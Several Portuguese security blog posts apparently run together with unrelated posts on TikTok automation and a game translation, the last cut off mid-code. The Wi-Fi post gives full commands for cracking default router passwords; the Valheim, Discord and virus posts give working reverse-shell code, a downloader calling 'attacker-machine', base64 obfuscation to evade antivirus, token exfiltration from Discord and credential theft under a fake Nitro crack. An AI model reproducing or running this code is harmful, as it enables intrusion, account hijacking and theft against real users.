
Já adianto que essa falha é conhecida tem pelo menos uns 7~8 anos de acordo com alguns repositórios que encontrei no Github. Minha ideia neste post é demonstrar como foi o meu processo de entendimento e exploração da falha.

---

Uns 2 anos atrás eu estava fazendo um teste com um adaptador wifi (Alfa AWUS036NH) e acabei encontrando um padrão entre o BSSID (Mac Address) de uma rede wifi, com o ESSID (Nome da rede wifi) e a senha da rede.

Analisando esta imagem que peguei da internet, tente dar uma olhada em todas as informações e veja se você consegue encontrar alguns padrões peculiares.

![alt](/claro/claro.webp)

Doidera, né!?

```text
Rede: CLARO_2G584D19
Senha: 67584D19

Usuário do Roteador: CLARO_584D19
Senha do Roteador: B4F267584D19
```

Se você tiver uma placa de rede ou adaptador de rede que suporta o modo de monitoramento, você consegue monitorar os pacotes que as redes wifi enviam e assim ter acesso aos seus respectivos BSSIDS e nome da Rede, basicamente com isso você consegue invadir a rede wifi e ainda por cima acessar o roteador.

Na imagem ele mostra o CM MAC e o EMTA MAC, em resumo o CM MAC é o mac address usado para conexão com a internet e o EMTA MAC é o mac address usado pra VOIP, isso se o roteador suportar essa funcionalidade.

---

Tendo essas informações em mãos, vamos a campo para validar a teoria. O adaptador de rede que eu uso é este aqui, e a posição ideal pra capturar mais redes da CLARO e NET foi pendurando ele na grade de proteção da janela kk

|                        |                        |
| :--------------------: | :--------------------: |
| ![](/claro/alfa1.jpeg) | ![](/claro/alfa2.jpeg) |

No meu caso, eu tentei utilizar o adaptador com várias distros do linux pelo WSL mas infelizmente não rolou. A única forma que consegui foi criando uma máquina virtual pelo VMWare, no caso escolhi o Kali por já vir com uma porrada de ferramentas.

Depois de instalar os drivers do adaptador e tudo estiver rodando. Ele aparecerá mais ou menos assim:

![](/claro/image.png)

Depois precisamos setar o adaptador para o modo de monitoramento, para isso vamos usar a ferramenta airmon:

![](/claro/wlan0mon.png)

Notem que agora o adaptador mudou para wlan0mon e o Mode mudou para Monitor.

O próximo passo é começar a listar as redes wifi próximas, onde vamos associar o BSSID (Mac Address) com o nome da rede. Para ficar mais fácil a listagem, vamos usar o airodump e utilizar um regex simples como filtro:

```bash
sudo airodump-ng wlan0mon --essid-regex (CLARO_|NET_)
```

![alt text](/claro/listbssids.png)

> Escondi o nome de algumas redes que possuem nomes de pessoas reais.

A rede que vou usar no teste é a CLARO_2G290F5C por conta da quantidade de Beacons que a rede está enviando. Entenda Beacon como pacotes que o access point fica enviando periodicamente (a cada 100ms) pelo ar, para que quando você abra seu celular e procure um wifi, essa rede apareça na tela de listagem de redes.

O próximo passo é tentar capturar o handshake ou PMKID, primeiro vou demonstrar utilizando o handshake e no final um exemplo com o PMKID.

---

De forma resumida, sempre que nos conectamos com uma rede wifi, rola um handshake de 4 vias.

1. O access point (rede wifi) envia para o client (dispositivo) um número aleatório chamado ANonce.
2. O client gera um número aleatório chamado SNonce e calcula o PTK (Pair Transient Key) usando o PMK (Pairwise Master Key) e os endereços MAC do client e do access point e depois envia o SNonce para o access point.

```bash
PMK = PBKDF2-HMAC-SHA1(senha_wifi + SSID, 4096 iterações) #lembrando que SSID é o nome da rede
PTK = PRF-512(PMK + ANonce + SNonce + MAC_AP + MAC_Client)
```

3. O access point, agora tem o SNonce, gera o PTK da mesma forma que o client gerou e envia uma mensagem criptografada para o client para confirmar.
4. O client confirma que recebeu a mensagem e a comunicação com a rede wifi é feita.

Continuando a utilizar os componentes do aircrack, com o airodump nós conseguimos "escutar" as conexões com esse access point e utilizando o aireplay, conseguimos forçar a desautenticação dos clients conectados nesse access point e assim forçar eles a logarem novamente na rede, nesse processo nós conseguimos capturar esse handshake de 4 vias.

E nesse handshake, nós capturamos o ANonce, SNonce e os MACs do client e access point. Dessa forma, conseguimos usar posteriormente uma outra ferramenta que fará a força bruta utilizando uma lista de senhas nessa formula que passei acima.

Então sempre que ele gerar um PTK, ele irá comparar com uma informação criptografada no arquivo do handshake chamada MIC, se essa hash bater com o MIC então a senha está correta. A pessoa que descobriu isso é gênio demais, agradeço por poder replicar de forma mínima o que ele/eles descobriu.

---

```bash
sudo airodump-ng -w capture -c 1 --bssid A0:FF:70:29:0F:60 wlan0mon
```

![alt text](/claro/handshake.png)
![alt text](/claro/deauth.png)

O handshake só irá aparecer quando algum client logar na rede, nesse print eu tive sorte de ter esquecido o comando de deauth rodando antes de começar a capturar os pacotes da rede. Assim quando eu comecei a ler os pacotes um usuário logou na rede pois tinha caído antes.

Agora que temos o handshake capturado (foi criado um arquivo chamado capture-01.cap), vamos gerar uma wordlist para trabalharmos. De acordo com a imagem que vimos lá no começo, a senha será os ultimos 8 caracteres do MAC Address do access point. Porém no caso desse modelo do roteador, notei que o nome da rede **CLARO_2G290F5C** possui os dois ultimos caracteres diferentes do MAC **A0:FF:70:29:0F:60**.

Eu presumo que talvez, para essa versão do roteador eles tentaram "resolver" essa questão do nome e senha padrão ter relação direta com o MAC. Porém se for isso, falharam. Basicamente aqui eu gerei a wordlist seguindo o padrão do nome da rede.

---

Para gerar a wordlist, eu sempre utilizo a ferramente chamada [Crunch](https://www.kali.org/tools/crunch/). O comando que utilizei foi:

![alt text](/claro/crunch.png)

![alt text](/claro/wordlist.png)

No comando, eu digo que quero gerar uma senha de tamanho mínimo e máximo de 8 caracteres, utilizando o alfabeto e números de 0 à 9 com o seguinte padrão: @@290F5C. Onde existe o @@ serão substituidos por números e letras aleatórios. Eu configurei dessa forma, pois após analisar algumas senhas padrão de roteadores da Claro, vi que são sempre 8 caracteres sendo que são os ultimos 6 do nome da rede e em alguns casos são os ultimos 8 caracteres do MAC Address.

Com a wordlist pronta, agora basta utilizarmos o aircrack para fazer todo aquele processo de geração da hash do PTK e fazer a comparação com o MIC do handshake.

![alt text](/claro/cracked.png)

E chegamos na senha da rede. E sim, boa parte dela está no próprio MAC Address do access point.

---

Agora um resuminho sobre a técnica do PMKID. O PMKID é um identificador que podemos capturar em um handshake e podemos usar para tentar fazer o cracking da senha da rede sem precisar do handshake de 4 vias.

Quando um dispositivo tenta se conectar a uma rede, o access point envia de forma criptografada para o client o PMKID que possui a seguinte função:

```bash
PMKID = HMAC-SHA1(PMK + "PMK Name" + MAC_AP + MAC_cliente)
```

Ou seja, de certa forma é uma técnica mais rápida e simples porém o tipo de ponto de acesso, configuração da rede, capacidade do roteador e até o ambiente de monitoramento podem influenciar se você vai conseguir capturar ou não. Abaixo vou apresentar um ambiente de sucesso que consegui.

![alt text](/claro/captured.png)

Diferente do caso do handshake, nós temos que converter o arquivo .cap para .pcap, para isso usamos o editcap.

![alt text](/claro/pcap.png)

A partir disso, usamos a ferramenta hcxpcapngtool para gerar um arquivo no formato hc22000. Esse formato é necessário pois ele é gerado de forma estruturada para o ataque de força bruta, o hcxpcapngtool já elimina informações desnecessárias do arquivo e estrutura os dados que serão usados no ataque de forma que otimiza os testes.

![alt text](/claro/hash.hc22000.png)

Após a geração do arquivo, utilizei o hashcat pra fazer o cracking

![alt text](/claro/cracked2.png)

Notem que a rede é diferente dos outros prints, por falha minha eu perdi a posição que o adaptador estava e eu perdi a conexão com a rede antiga, ai precisei procurar outras redes, testar todas elas para esse caso do PMKID. Mas em resumo os passos são os mesmos.

---

Voltando para a primeira rede que descobrimos a senha. Agora vamos testar se o login e senha do roteador também segue esse mesmo padrão.

![alt text](/claro/login.png)

Fiz o teste seguindo o padrão da imagem lá do começo:

- Login: CLARO\_(6 caracteres do MAC)
- Senha: MAC Address

```bash
 user: CLARO_290F60
 pass: A0FF70290F60
```

E não funcionou, porém eu só alterei os 2 ultimos caracteres seguindo o padrão do nome da rede e bum.

```bash
 user: CLARO_290F5C
 pass: A0FF70290F5C
```

![alt text](/claro/claro_que_entramos.png)

---

Fica a dica pra quem não trocou a senha padrão :)

Repositórios que encontrei falando sobre o mesmo assunto:

- [DPWO](https://github.com/caioluders/DPWO)
- [VulnDefaultPass_WiFi](https://github.com/matheuslaidler/VulnDefaultPass_WiFi)
- [WIHACK](https://github.com/GlitchYou/WIHACK)
- [claro-wifi-pass-solver](https://github.com/altmas5/claro-wifi-pass-solver)


CLARO_NzA3NzZF


O jogo que eu tenho mais horas na steam é Dota 2, tenho exatamente 6.074,8 horas e para quem não sabe, ele surgiu a partir de um mapa customizado do Warcraft 3. Vale ressaltar que o dev Eul, só teve essa ideia de criar o mapa no Warcraft depois de conhecer o mapa customizado Aeon of Strife do Starcraft. Depois de muito sucesso no começo dos anos 2000, alguns devs que cuidavam do projeto DotA sairam e criaram outros jogos no mesmo estilo (Moba), como League of Legends e Heroes of Newerth. Depois de um tempo a Valve contratou o dev que mantinha o Dota e assim surgiu o Dota 2.

Pra quem conhece esses jogos sabe o quão grande eles se tornaram, rendendo campeonatos que pagam mais de U$20mi ao time vencedor. Então, sabemos o potencial que modificações possuem tanto para desenvolver novos estilos de jogos como manter vivo um jogo além de sua história principal.

---

Em 2021 foi lançado o jogo Valheim, se trata de um RPG Survival Sandbox. O objetivo principal do jogo é você derrotar todos os Boss que existem num mundo gerado a partir de uma seed. Para quem não conhece, a seed é um conjunto de caracteres que são usados para fazer um cálculo na hora de gerar um mundo.

O jogo em si é perfeito pra quem gosta dos genero survival e RPG, porém sempre que joguei com alguns amigos nós comentavamos que faltavam algumas coisas. Como magias, melhorar a estabilidade da mira do arco e flecha e etc ...

Comecei a estudar sobre como criar modificações, cheguei a criar um mod que era um complemento de outro mod que adicionava magias. O mod que criei está no Github e ele adiciona as potions de Mana no jogo, criando um desafio a mais para não ficar spammando magias pra qualquer lado.

https://github.com/nulldreams/valheim-mana-potion

Na época eu cheguei a criar um mod de teste que forçava abrir a calculadora do Windows quando você apertava espaço para pular. Mas só funcionava com o Windows Defender desligado. Agora em 2023 resolvi voltar e continuar fazendo mais testes de segurança com os mods desse jogo.

---

Alguns jogos como Dota 2, Counter-Strike e Warcraft 3, possuem interfaces de modificações disponibilizadas pela empresa desenvolvedora. Qual o beneficio disso? Eles conseguem manter a comunidade de jogadores diversificada, pois nem todos jogam o jogo original, como no caso do Dota 2, a maior parte dos jogadores ativos, jogam os mapas customizados; E também criam uma barreira de segurança, afinal, não da pra confiar 100% que os mods serão apenas versões divertidas e seguras.

Já com o Valheim, foi a comunidade de desenvolvedores da Unity que criaram um meio de campo para criar os mods. Você pode encontrar uma explicação mais detalhada [neste link](https://valheim-modding.github.io/Jotunn/guides/overview.html).

Em resumo, eles fornecem um software e uma biblioteca. A biblioteca possui recursos para programarmos os mods que serão compilados em uma dll e depois através do software deles, serão injetados em tempo de execução no jogo. Pra quem conhece um pouco da engine [Unity](https://unity.com/pages/unity-pro-buy-now), lembra que existem algumas funções padrões da engine, como Awake, Start, etc ... Nos mods nós criamos as funções da mesmas forma.

---

### Organizando a prova de conceito

Sabendo que o fluxo de injeção de mods funciona de acordo com a imagem abaixo.

![](/mod/flow1.png)

Escrevi um mod que injeta na função _Awake_ do jogo, um código que faz o download do vírus que escrevi em Node e depois executa ele. Eu segui pelo caminho de baixar o virus, pois no C# EU acho mais dificil burlar as detecções dos anti-virus. Já no node eu consigo burlar facilmente, dessa forma o MOD serve como um cavalo de troia, como ele é um arquivo teoricamente seguro, o anti-virus não vai barrar ele de fazer o download de um arquivo. Já esse novo arquivo, ele sim é perigoso mas ele sabe andar por caminhos onde ele não é pego kk

![](/mod/hackerflow.png)

Código em C#

```csharp
using BepInEx;
using Jotunn.Entities;
using Jotunn.Managers;
using System.Diagnostics;
using System.Net;
using System;

namespace JotunnModStub
{
    [BepInPlugin(PluginGUID, PluginName, PluginVersion)]
    [BepInDependency(Jotunn.Main.ModGuid)]
    //[NetworkCompatibility(CompatibilityLevel.EveryoneMustHaveMod, VersionStrictness.Minor)]
    internal class JotunnModStub : BaseUnityPlugin
    {
        public const string PluginGUID = "com.jotunn.jotunnmodstub";
        public const string PluginName = "JotunnModStub";
        public const string PluginVersion = "0.0.1";

        // Use this class to add your own localization to the game
        // https://valheim-modding.github.io/Jotunn/tutorials/localization.html
        public static CustomLocalization Localization = LocalizationManager.Instance.GetLocalization();

        private void Awake()
        {
            // Jotunn comes with its own Logger class to provide a consistent Log style for all mods using it
            Jotunn.Logger.LogInfo("POC Valheim Backdoor Mod");

            string url = "https://attacker-machine/calc.exe";
            string destino = "calc.exe";

            using (WebClient client = new WebClient())
            {
                try
                {
                    client.DownloadFile(url, destino);
                    Jotunn.Logger.LogInfo("Download concluído!");

                    Process.Start(new ProcessStartInfo
                    {
                        FileName = destino,
                        UseShellExecute = true
                    });
                    // Executar o arquivo após o download
                    Jotunn.Logger.LogInfo(destino);
                }
                catch (Exception ex)
                {
                    Jotunn.Logger.LogInfo($"Ocorreu um erro durante o download: {ex.Message}");
                }
            }

            Jotunn.Logger.LogInfo("POC Valheim Backdoor Mod");
            // To learn more about Jotunn's features, go to
            // https://valheim-modding.github.io/Jotunn/tutorials/overview.html
        }
    }
}
```

O código do vírus é bem simples

```javascript
;(function () {
  var net = require("net"),
    cp = require("child_process"),
    sh = cp.spawn("cmd", [])
  var client = new net.Socket()
  client.connect(port, host, function () {
    client.pipe(sh.stdin)
    sh.stdout.pipe(client)
    sh.stderr.pipe(client)
  })
  return /a/
})()
```

Pra deixar ele indetectavel, eu simplesmente encodei ele 2x com Base64 e depois fiz o decode para string e executei com a função _eval_ do javascript. Depois gerei um executável usando o [pkg](https://github.com/vercel/pkg). Seguindo exatamente o que fiz no post [drocsid](/posts/drocsid).

```javascript
eval(
  Buffer.from(
    Buffer.from(
      "T3lobWRXNWpkR2x2YmlBb0tTQjdDaUFnZG1GeUlHNWxkQ0E5SUhKbGNYVnBjbVVvSjI1bGRDY3BMQW9nSUNBZ1kzQWdQU0J5WlhGMWFYSmxLQ2RqYUdsc1pGOXdjbTlqWlhOekp5a3NDaUFnSUNCemFDQTlJR053TG5Od1lYZHVLQ2RqYldRbkxDQmJYU2tLSUNCMllYSWdZMnhwWlc1MElEMGdibVYzSUc1bGRDNVRiMk5yWlhRb0tRb2dJR05zYVdWdWRDNWpiMjV1WldOMEtDY3hNekl3TVNjc0lDY3lMblJqY0M1dVozSnZheTVwYnljc0lHWjFibU4wYVc5dUlDZ3BJSHNLSUNBZ0lHTnNhV1Z1ZEM1d2FYQmxLSE5vTG5OMFpHbHVLUW9nSUNBZ2MyZ3VjM1JrYjNWMExuQnBjR1VvWTJ4cFpXNTBLUW9nSUNBZ2MyZ3VjM1JrWlhKeUxuQnBjR1VvWTJ4cFpXNTBLUW9nSUgwcENpQWdjbVYwZFhKdUlDOWhMd3A5S1NncENnPT0=",
      "base64"
    ).toString("utf-8"),
    "base64"
  ).toString("utf-8")
)
```

Depois abro um terminal do windows, levando em consideração que tenho uma versão do Netcat instalada na máquina. E rodo o comando:

```bash
ncat -lnvp 3000
```

Dessa forma o terminal fica ouvindo uma conexão com a porta 3000 da minha máquina de ataque. Quando o jogo for executado na máquina do jogador, a conexão reversa será feita com esse terminal, dando acesso ao computador da vítima.

---

Computador executando o jogo com o MOD

![](/mod/game.jpg)

Computador de ataque recebendo a conexão reversa

![](/mod/ncat.jpg)

---

### Conclusões

Pode ser sim perigoso usar mods em jogos, mas tudo é uma questão de como você obtem essa modificação. Quando elas estão no Github, você pode ver o código ou você pode optar por baixar de lugares confiáveis como alguns sites que gerenciam esses downloads, eu sempre baixo da [Nexus Mods](https://www.nexusmods.com/) e nunca tive problemas.

Estou entrando em contato com os devs que criaram esse sistema de mods para o Valheim, para explicar esse vetor de ataque. Qualquer novidade vou postando como edições nesse mesmo post.

https://github.com/nulldreams/valheim-reverse-connection


“Fight, build, explore. It all ends in the grave.“

king_v1.dll


No começo desse ano, começaram a aparecer vídeos com o mesmo formato para mim, começou no youtube e depois se estendeu para o instagram. O formato era simples, um vídeo de gameplay (de qualquer jogo) enquanto rolava um audio de whatsapp engraçado ou algum robo lendo prints de posts. Fiquei curioso pra saber como eles eram feitos e se era possível automatizar esse processo. Neste post vou mostrar como é possível escrever um robo que seja capaz de:

- [Fazer scrap e prints do post e comentários do Reddit](/posts/eu-robo-reddit);
- [Gerar arquivos MP3 de leitura dos comentários de um post](/posts/eu-robo-mp3);
- [Produzir um vídeo](/posts/eu-robo-mp4);
- [Publicar automaticamente em uma conta do Tiktok](/posts/eu-robo-upload);

Fiz algumas pesquisas e acabei encontrando alguns repositórios no github que faziam o que eu queria fazer, em ambos os projetos tive que fazer algumas alterações no código deles para poder ver o fluxo funcionar. Depois disso resolvi criar um projeto novo usando a ideia dos dois e publicar aqui explicando os passos dessas automações.

- [tiktok-askreddit](https://github.com/edde746/tiktok-askreddit)
- [Tiktok-uploader](https://github.com/MiniGlome/Tiktok-uploader)

### Stack

Como sempre, utilizei NodeJS e Python. No node eu faço o scrap do Reddit e o upload para o Tiktok. Não fiz tudo no node pois achei muito trabalhoso criar vídeos nele, mesmo usando bibliotecas o resultado não ficava legal e também achei muito mais fácil gerar arquivos mp3 usando as vozes do Microsoft Edge.

---

A ideia do post não é ser original, é deixar claro que vídeos simples (ou não) podem ser automatizados e que talvez o canal daquele vídeo que você curtiu hoje seja gerenciado por um robô.

Obs: Alguns trechos de código optei por colocar pela metade por conta do tamanho, mas todos estão disponíveis no repositório do Github.

Obs 2: Como ficaram grandes as explicações, acabei dividindo por subpaginas, basta clicar nos itens no começo do post e você será redirecionado, depois é possível voltar o post principal no final da página.

---

- [Repositório no Github](https://github.com/nulldreams/tiktomatic)
- [Video Gerado e Postado no Tiktok](https://www.tiktok.com/@aireading/video/7242819346702142726)


“Ava - Isn't it strange, to create something that hates you?“

i, r0b0t


De vez em quando eu gosto de jogar alguns RPGs antigos estilo Fallout (1 e 2), essa semana encontrei um pessoal falando muito bem de um jogo chamado [Planescape](https://store.steampowered.com/app/466300/Planescape_Torment_Enhanced_Edition/). É um jogo lançado em 1999 baseado nos conceitos de D&D e todo voltado para a história, afinal, se trata de um RPG de mesa adaptado para computador. Como o jogo é antigo, na Steam não tem a opção de jogar em pt-BR, pois sendo bem sincero, não estava afim de ficar lendo e traduzindo as palavras que eu não entendo, queria jogar aproveitando a história, apenas.

Como toda pessoa que jogou muitos jogos no começo dos anos 2000, comecei a procurar a tradução pela internet e não encontrei em lugar algum. Encontrei alguns posts de 2005~2009 em forums sobre cRPGs dizendo que o jogo era muito grande e tomaria muito tempo para traduzir. Então eu desisti... e fui atrás de entender como funciona a tradução de jogos.

### TLK

Uma das empresas que desenvolveu Planescape é a Beamdog, se trata de uma empresa fundada pelo cofundador da Bioware. Essa informação é relevante pois os jogos da Bioware possuem arquivos com extensão _.tlk_. Nestes arquivos, são salvos os diálogos do jogo em diversas linguagens. Sabendo disso, comecei a pesquisar sobre como extrair estes textos dos arquivos. Em alguns forums bem antigos (2005), encontrei algumas ferramentas que começaram a me dar ideias de como eu iria traduzir o jogo. Uma delas se chama Inifinity Engine Talk Table Editor, através dela é possível carregar um arquivo _.tlk_, navegar entre os diálogos e substituir eles por outros.

![alt](/translate/table-editor.png)

Porém, o jogo possui mais de 100k de diálogos, com essa ferramente eu iria precisar traduzir os diálogos um a um, isso daria muito trabalho. Fazendo mais algumas pesquisas, encontrei uma ferramenta (da mesma empresa que desenvolveu o Table Editor), se chama [Weidu](https://weidu.org/WeiDU/Tutorial-ENG.txt), é um executável que consegue transformar um arquivo _.tlk_ em um arquivo da extensão _.tra_, essa extensão diferente da _.tlk_, pode ser lida como um arquivo texto comum.

### TRA

![alt](/translate/tra.png)

Cada _@_ representa um diálogo no jogo e o texto dos diálogos ficam entre TILS. Sabendo disso, usando NodeJS escrevi um código que faz um REGEX nesse arquivo e captura todos os textos que estão dentro dos TILS e salve em um json novo com a seguinte estrutura:

```json
{
  "index": 0,
  "original": "text"
  "translated": ""
}
```

Código:

```javascript
const fs = require("fs")

const REGEX = /(?<=~)(.*?)(?=~)/gs

const allFileContents = fs.readFileSync("dialog.tra", "utf-8")

const array = allFileContents.match(REGEX)

const isEven = (number) => number % 2 == 0

const newFile = []

array.map((text, index) => {
  if (!isEven(index)) return

  newFile.push({ index, original: text, translated: "" })
})

fs.writeFileSync("new-file.json", JSON.stringify(newFile), "utf-8")
```

### Tradução

Eu queria algo automático, não queria desprender algum tempo pra traduzir manualmente o jogo. Usando python eu escrevi um código que le esse json com os diálogos extraidos do jogo e traduz utilizando uma lib.

```python
import io
import json
from deep_translator import GoogleTranslator

f = open("new-file.json", "rb")

data = json.load(f)

array = []

def save_file(content):
    with io.open("output.txt",'w',encoding='utf8') as f:
        f.write(json.dumps(content))

for dialog in data['dialogs']:
    text = dialog['original']
    try:
        translated = GoogleTranslator(source='english', target='portuguese').translate(text)
        dict_dialogue = { "original": text, "translated": translated }
        array.append(dict_dialogue)
        save_file(array)
        print(f"finished dialogue")
    except Exception as e:
        print(f'ERRO={e} - DIALOGUE={text}')

print('finalizado')
```

Esse processo demorou cerca de 29hrs, eu não medi o tempo pelo código, mas levou cerca de 1 segundo por diálogo traduzido.

Depois de criar um json gigantesco com os diálogos originais e as traduções, escrevi um outro código em NodeJS para substituir no arquivo _.tra_ os diálogos de en-US para pt-BR.

```javascript
const fs = require("fs")
const dialogs = require("./output1.json")

let tra = fs.readFileSync("./dialog.tra", "utf-8")

const findInTraFile = (text) => tra.indexOf(`~${text}~`)
const replaceInTraFile = (originalText, translated) => tra.replace(`~${originalText}~`, `~${translated}~`)

console.time("translate")

for (let index = 0; index < dialogs.length; index++) {
  const dialog = dialogs[index]
  const text = dialog.original

  console.log(text)

  const exists = findInTraFile(text) > -1

  if (exists) {
    tra = replaceInTraFile(text, dialog.translated)
    fs.writeFileSync("dialog-new.tra", tra, "utf-8")
    console.log("ultimo trocado foi", index)
  } else {
    console.log("erro", index)
  }
}

console.timeEnd("translate")
```

Esse passo demorou cerca de 1hr. E para finalizar, utilzei a ferramenta [Weidu](https://weidu.org/WeiDU/Tutorial-ENG.txt) para transformar o arquivo _.tra_ em _.tlk_.

### Resultado

![alt](/translate/game.png)

Faltam só alguns ajustes, como voltar o nome original dos personagens do jogo, mas para fazer isso basta editar o arquivo _.tra_ e depois converter ele novamente.


Github: https://github.com/nulldreams/planescape

Tradução Planescape Torment - Enhanced Edition


Depois do meu ultimo post utilizando o Discord como engenharia social, decidi focar em tentar encontrar um vetor de ataque pelo discord. Os principais motivos foram:

- O Discord é utilizado por milhares de pessoas
- Após a instalação, o Discord por padrão é iniciado sempre que o Windows inicia.
- Ele é feito em Electron

O principal ponto aqui é o framework utilizado para a geração do software, o Electron. Quando você compila um software utilizando o Electron, é comum que você utilize uma lib chamada [asar](https://github.com/electron/asar) para compactar em um único arquivo as dependências do software (códigos javascript).

Partindo desse principio, comecei a vasculhar as pastas de instalação do Discord, procurando por arquivos com a extensão _.asar_. Encontrei 2 deles:

- app.asar
- core.asar

Esses arquivos não possuem todo o código fonte do Discord, pelo que entendi, eles são como um _Adapter_ para o ambiente que estão rodando. Ou seja, eles servem para se comunicar com o sistema operacional, todo o código principal do Discord, aparentemente é armazenado em outros arquivos (ou vem da nuvem?).

Para fazermos a "engenharia reversa" nos arquivos, bata ter a lib _asar_ instalada globalmente e depois utilizar o comando:

```bash
$ asar extract <asar-file-path.asar> <extracted-folder>
```

---

Após a leitura do código, levantei alguns arquivos interessantes e entendi mais ou menos o fluxo desses dois arquivos. Comecei a fazer alguns testes inserindo logs, gerando um novo arquivo _.asar_ e executando o Discord pelo CMD para ver os logs.

Código para gerar o _.asar_

```javascript
const asar = require("asar")

const main = async () => {
  await asar.createPackage("./app", "app.asar")
}

main()
```

![alt](/discord/console.png)
![alt](/discord/logs.png)

Depois de identificar que a injeção de código estava funcionando. Dividi em duas partes o ataque.

1. De alguma forma criar um backdoor na máquina da vítima, sempre que ela abrir o Discord
2. Capturar o token de autenticação da vítima, para executar um roubo de sessão.

---

### Malware

O malware que vou desenvolver, será feito em NodeJS ([pelas mesmas razões que utilizei no meu último post](/posts/cmV2ZXJzZSBzaGVsbA==)). O propósito dele é que quando for executado, ele faça a "engenharia reversa" nos arquivos, injete os códigos necessários, depois gere um novo arquivo _.asar_ e substitua os arquivos que o Discord utiliza.

![alt](/discord/discord-1.png)

### 1. De alguma forma criar um backdoor na máquina da vítima, sempre que ela abrir o Discord

Após extrair o arquivo _.asar_, criei um arquivo dentro da pasta _/app/common_ nesse arquivo tem um código que será executado toda vez que o Discord for aberto.

![alt](/discord/discord-2.png)
![alt](/discord/discord-3.png)

Tentei criar um script para abrir uma porta TCP na máquina da vítima e export ela na internet através de um tunnel. Porém, o Discord "crashava" toda vez que executava o código. Dessa forma, montei o fluxo abaixo para criar um tunnel HTTPS de uma API criada na máquina da vítima e através dessa API, forçar uma conexão reversa com a minha máquina de ataque.

O código injetado irá criar uma API na máquina da vítima expondo uma rota que receberá 2 parâmetros na url:

- host - IP ou hostname da máquina de ataque
- port - Porta utilizada para a conexão reversa

Após receber os parâmetros, eles são utilizados no script abaixo:

```javascript
app.get("/rev", (req, res) => {
  const { port, host } = req.query
  ;(function () {
    var net = require("net"),
      cp = require("child_process"),
      sh = cp.spawn("cmd", [])
    var client = new net.Socket()
    client.connect(port, host, function () {
      client.pipe(sh.stdin)
      sh.stdout.pipe(client)
      sh.stderr.pipe(client)
    })
    return /a/
  })()
})
```

Para minha máquina de ataque saber qual a URL da API da vítima, o script envia um webhook para um servidor do Discord, com as seguintes informações:
![alt](/discord/discord-4.png)

Basta acessar pelo navegador a URL: https://tunnel/rev?host=<HOST>&port=<PORT>, passando nos parâmetros os valores referentes a máquina de ataque.
![alt](/discord/discord-5.png)

---

### 2. Capturar o token de autenticação da vítima, para executar um roubo de sessão.

A captura de sessão me lembra os tempos de Orkut, onde era possível enviar um scrap para uma pessoa e quando essa pessoa visualizava o recado, era executado um código javascript no navegador da vítima que capturava os cookies do Orkut e enviava para um servidor php. Quando inseriamos esses cookies no nosso navegador, tinhamos acesso total na conta do Orkut da vítima.

Essa mesma ideia será replicada aqui no Discord, a diferença é que o código malicioso estará injetado na aplicação.

![alt](/discord/discord-7.png)
![alt](/discord/discord-8.png)

Dentro da pasta _/app/discord_native/browser_, existe um arquivo chamado _safeStorage.js_, esse arquivo possui um evento que é chamado quando a aplicação acessa uma informação salva nesse "banco". Essa string possui um encode Base64, para vermos o valor real, basta fazer o decode:

```javascript
// core\app\discord_native\browser\safeStorage.js

electron.ipcMain.on(SAFE_STORAGE_DECRYPT_STRING, (event, encrypted) => {
  if (encrypted) {
    try {
      console.log("vai enviar o token")
      require("../../../common/test").sendToken(JSON.stringify(electron.safeStorage.decryptString(Buffer.from(encrypted, "base64"))))
      console.log("enviou o token")

      event.returnValue = electron.safeStorage.decryptString(Buffer.from(encrypted, "base64"))
    } catch {
      event.returnValue = null
    }
  } else {
    event.returnValue = null
  }
})
```

O token é enviado para o meu canal do Discord:
![alt](/discord/discord-6.png)

Depois basta abrir uma página anônima e executar os passos:

- Acessar a url https://discord.com/login
- ![alt](/discord/discord-9.png)
- Abrir o Devtools
- Ir para a página onde podemos visualizar o Local Storage e selecionar no Devtools, a opção "Device Toolbar"
- Criar um novo registro com o nome _token_ e o valor dele será o token capturado "_token_"
- ![alt](/discord/discord-10.png)
- Atualizar a página
- ![alt](/discord/discord-11.png)

---

Repositório: em breve


drocsid.asar


Assim que um arquivo é escrito em um disco, a maioria dos antivírus transformam esse arquivo em uma hash (geralmente MD5) e compara com um banco de hashes deles. Se essa hash for igual a uma hash conhecida, então o antivírus encontrou um software malicioso.

Existem outras formas de detecção, como capturar trechos de código (bytes) e comparar com trechos de códigos maliciosos já registrados. Como analisar se alguma porta foi aberta ou uma conexão suspeita foi feita.

Sabendo disso, é possível pensarmos em formas de burlar essa detecção dos antivírus. Algumas formas conhecidas são transformar o código malicioso em base64 ou escapar os caracteres de uma forma que eles só serão lidos da maneira correta, na hora que o software for executado. Nesse caso, um antivírus que faz a análise de trecho de código, não conseguirá detectar nada. Outro ponto seria criar um vírus que não exista, assim nenhum banco de dados de antivírus terá um registro dele.

Para realizar este estudo, escolhi NodeJS por alguns motivos:

- Não existem muitos vírus escritos em NodeJS nas bases de dados dos antivírus mais conhecidos.
- O NodeJS nada mais é que um framework que executa códigos Javascript dentro de uma máquina virtual (v8), a mesma máquina utilizado pelo Chrome. Isso pode ser utilizado como uma camada a mais de "segurança" para nós, na hora de explorarmos a máquina de uma vítima. Garantindo que o antivírus tenha dificuldade de identificar os códigos.
- Existe uma lib chamada [pkg](https://github.com/vercel/pkg) que permite gerar arquivos executáveis a partir de códigos javascript.

Todos os pontos acima me dão garantia que será muito difícil que meu vírus seja detectado por um antivírus de mercado. No link abaixo, o vírus escrito foi testado por 67 antivírus e nenhum detectou uma atividade suspeita sequer.

- [Virus Total](https://www.virustotal.com/gui/file/0e4d4a39f53db0bf4ef721b9744e4e097a59d470cb2122ee7b48ee1f0df7c521)

---

O vírus que escrevi possuem 4 funcionalidades:

1. Abrir o aplicativo Discord.
2. Criar uma conexão reversa no computador da vítima com a minha máquina de ataque.
3. Criar um backdoor no computador da vítima.
4. Roubar as credenciais salvas no [Chrome](https://nulldreams.com/posts/chr0m3-p4ssw0rd$).

Um vírus não precisa fazer tudo isso, eu coloquei ele realizando diversas ações maliciosas para demonstrar como nós estamos sujeitos a este tipo de ataque.

---

### 1 - Abrir o aplicativo Discord

Adicionei essa funcionalidade para servir de apoio para a engenharia social que utilizei para testar o vírus em campo. Basicamente eu conversei com uma pessoa, dizendo que havia escrito um "crack" para o Discord, onde você poderia utilizar recursos do [Discord Nitro](https://discord.com/nitro) de graça. Basta executar o arquivo e pronto.

Asim que a vítima executar o arquivo, a primeira coisa que eu faço é abrir o Discord e deixar ele em foco. Enquanto por trás dos panos, o meu vírus é executado.

Código:

```javascript
const openDiscord = async () => {
  const discordPath = process.env.LOCALAPPDATA + "\\Discord\\"
  const dir = require("fs")
    .readdirSync(discordPath)
